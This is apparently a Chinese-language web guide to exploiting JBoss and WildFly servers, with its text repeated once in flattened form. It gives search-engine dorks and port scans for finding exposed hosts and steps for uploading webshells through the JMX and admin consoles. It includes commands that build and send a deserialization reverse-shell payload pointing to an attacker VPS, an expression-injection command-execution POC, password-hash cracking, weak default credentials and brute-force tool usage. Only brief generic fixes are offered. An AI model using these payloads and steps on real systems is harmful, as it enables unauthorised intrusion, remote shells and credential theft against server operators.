Jboss漏洞利用
字数 2341 2025-08-15 21:31:11

JBoss漏洞利用全面指南

1. JBoss简介与漏洞概述

JBoss是一个基于J2EE的开放源代码的应用服务器。其高危漏洞主要分为两类:

  1. 未授权访问导致文件上传的漏洞

    • CVE-2007-1036
    • CVE-2010-0738
    • CVE-2006-5750
    • JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability
  2. Java反序列化远程代码执行漏洞

    • CVE-2015-7501
    • CVE-2017-7504
    • CVE-2017-12149
    • CVE-2013-4810

2. 环境部署

以JBoss 7.1.1为例:

  1. 准备JDK环境和系统环境变量
  2. 执行add-user.bat脚本添加管理控制台用户
  3. 编辑standalone.xml文件开放管理控制台入口(默认8080端口)
  4. 运行standalone.bat启动JBoss
  5. 访问http://[IP]:8080/验证部署

3. 服务探测与发现

3.1 搜索引擎语法

FOFA dork:

app="JBoss"/web-console/Invoker/invoker/JMXInvokerServlet/jmx-console/web-console 
inurl:/console/ 
intitle:"JBoss Management"
inurl:/jmx-console/ 
inurl:/admin-console/ 
intitle:"Welcome to JBoss" 
intitle:"jboss management console" 
"application server" version 
inurl:"web-console"
intitle:"JBoss Management Console – Server Information" 
"application server" 
inurl:"web-console" OR inurl:"jmx-console"

3.2 端口扫描

常见开放端口:8080, 9990, 9999

扫描命令:

nmap -sT -sV -Pn --open -p 1-65535 -v -n [目标IP]

4. 访问控制不严导致的漏洞

4.1 JMX Console未授权访问Getshell

影响版本:JBoss 4.x以下

利用步骤

  1. 访问http://[IP]:8080/jmx-console/
  2. 找到jboss.deployment中的flavor=URL,type=DeploymentScanner
  3. 使用void addURL()远程加载war包部署
  4. 点击"Apply change"
  5. 访问木马地址http://[IP]:8080/[war包名]/index.jsp

4.2 JMX Console HtmlAdaptor Getshell (CVE-2007-1036)

影响版本:JBoss 4.x以下

利用方法
访问http://[IP]:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository,利用store方法上传shell

4.3 JMX控制台安全验证绕过漏洞 (CVE-2010-0738)

影响版本:JBoss 4.2.0, 4.3.0

利用方法:使用HEAD方法发送payload绕过GET/POST限制

4.4 Administration Console弱口令Getshell

影响版本:全版本

利用步骤

  1. 使用默认密码admin/admin登录/admin-console
  2. 点击"Web application"→"Add"上传war包

4.5 jexboss自动化利用工具

适用于JBoss < 5.x版本:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://[IP]:8080

5. 反序列化RCE漏洞

5.1 JBoss AS 5.x/6.x反序列化漏洞 (CVE-2017-12149)

影响版本:JBoss AS 5.x, 6.x

利用步骤

  1. 验证漏洞:访问http://[IP]:8080/invoker/readonly返回500错误
  2. 使用JavaDeserH2HC生成payload:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap [VPS_IP]:[PORT]
  1. 发送payload:
curl http://[IP]:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.2 JBossMQ JMS集群反序列化漏洞 (CVE-2017-7504)

影响版本:JBoss AS 4.x及之前版本

利用步骤

  1. 验证漏洞:访问http://[IP]:8080/jbossmq-httpil/HTTPServerILServlet/
  2. 使用JavaDeserH2HC生成payload并发送

5.3 JBoss JMXInvokerServlet反序列化漏洞 (CVE-2015-7501)

影响版本:主要影响JBoss 6.x

利用步骤

  1. 验证漏洞:访问http://[IP]/invoker/JMXInvokerServlet能下载文件
  2. 生成并发送payload(同5.1)

5.4 JBoss EJBInvokerServlet反序列化漏洞 (CVE-2013-4810)

影响版本:主要影响JBoss 6.x

利用方法:与CVE-2015-7501相同,路径为/invoker/EJBInvokerServlet

6. JBoss Seam2模板注入 (CVE-2010-1871)

影响版本:Redhat Jboss_enterprise_application_platform:4.3.0

POC

/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}

7. 其他漏洞与利用

7.1 密码破解

低版本:明文保存在conf/props/jmx-console-users.properties

高版本/WildFly:加密保存在configuration/mgmt-users.properties,使用John破解:

john --wordlist=password.list --format=dynamic_1591 [hash文件]

7.2 弱口令爆破

常见弱口令:

  • admin:admin
  • admin:jboss
  • admin:password1!
  • jboss:admin
  • admin:ezoffice

WildFly专用工具wildPwn:

python wildPwn.py -m brute --target [IP] --port 8080 -user userList.txt -pass passList.txt

7.3 WildFly部署webshell

  1. 登录控制台后找到"Deployments"
  2. 上传war包并启用
  3. 访问http://[IP]:8080/[包名]/[文件].jsp

8. 漏洞修复建议

  1. 设置强密码策略
  2. 限制公网访问
  3. 对所有输入进行验证
  4. 限制来源IP
  5. 升级到最新版本

9. 参考工具

JBoss漏洞利用全面指南 1. JBoss简介与漏洞概述 JBoss是一个基于J2EE的开放源代码的应用服务器。其高危漏洞主要分为两类: 未授权访问导致文件上传的漏洞 : CVE-2007-1036 CVE-2010-0738 CVE-2006-5750 JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability Java反序列化远程代码执行漏洞 : CVE-2015-7501 CVE-2017-7504 CVE-2017-12149 CVE-2013-4810 2. 环境部署 以JBoss 7.1.1为例: 准备JDK环境和系统环境变量 执行 add-user.bat 脚本添加管理控制台用户 编辑 standalone.xml 文件开放管理控制台入口(默认8080端口) 运行 standalone.bat 启动JBoss 访问 http://[IP]:8080/ 验证部署 3. 服务探测与发现 3.1 搜索引擎语法 FOFA dork: 3.2 端口扫描 常见开放端口:8080, 9990, 9999 扫描命令: 4. 访问控制不严导致的漏洞 4.1 JMX Console未授权访问Getshell 影响版本 :JBoss 4.x以下 利用步骤 : 访问 http://[IP]:8080/jmx-console/ 找到 jboss.deployment 中的 flavor=URL,type=DeploymentScanner 使用 void addURL() 远程加载war包部署 点击"Apply change" 访问木马地址 http://[IP]:8080/[war包名]/index.jsp 4.2 JMX Console HtmlAdaptor Getshell (CVE-2007-1036) 影响版本 :JBoss 4.x以下 利用方法 : 访问 http://[IP]:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository ,利用 store 方法上传shell 4.3 JMX控制台安全验证绕过漏洞 (CVE-2010-0738) 影响版本 :JBoss 4.2.0, 4.3.0 利用方法 :使用HEAD方法发送payload绕过GET/POST限制 4.4 Administration Console弱口令Getshell 影响版本 :全版本 利用步骤 : 使用默认密码admin/admin登录 /admin-console 点击"Web application"→"Add"上传war包 4.5 jexboss自动化利用工具 适用于JBoss < 5.x版本: 5. 反序列化RCE漏洞 5.1 JBoss AS 5.x/6.x反序列化漏洞 (CVE-2017-12149) 影响版本 :JBoss AS 5.x, 6.x 利用步骤 : 验证漏洞:访问 http://[IP]:8080/invoker/readonly 返回500错误 使用JavaDeserH2HC生成payload: 发送payload: 5.2 JBossMQ JMS集群反序列化漏洞 (CVE-2017-7504) 影响版本 :JBoss AS 4.x及之前版本 利用步骤 : 验证漏洞:访问 http://[IP]:8080/jbossmq-httpil/HTTPServerILServlet/ 使用JavaDeserH2HC生成payload并发送 5.3 JBoss JMXInvokerServlet反序列化漏洞 (CVE-2015-7501) 影响版本 :主要影响JBoss 6.x 利用步骤 : 验证漏洞:访问 http://[IP]/invoker/JMXInvokerServlet 能下载文件 生成并发送payload(同5.1) 5.4 JBoss EJBInvokerServlet反序列化漏洞 (CVE-2013-4810) 影响版本 :主要影响JBoss 6.x 利用方法 :与CVE-2015-7501相同,路径为 /invoker/EJBInvokerServlet 6. JBoss Seam2模板注入 (CVE-2010-1871) 影响版本 :Redhat Jboss_ enterprise_ application_ platform:4.3.0 POC : 7. 其他漏洞与利用 7.1 密码破解 低版本 :明文保存在 conf/props/jmx-console-users.properties 高版本/WildFly :加密保存在 configuration/mgmt-users.properties ,使用John破解: 7.2 弱口令爆破 常见弱口令: admin:admin admin:jboss admin:password1 ! jboss:admin admin:ezoffice WildFly专用工具wildPwn: 7.3 WildFly部署webshell 登录控制台后找到"Deployments" 上传war包并启用 访问 http://[IP]:8080/[包名]/[文件].jsp 8. 漏洞修复建议 设置强密码策略 限制公网访问 对所有输入进行验证 限制来源IP 升级到最新版本 9. 参考工具 jexboss JavaDeserH2HC wildPwn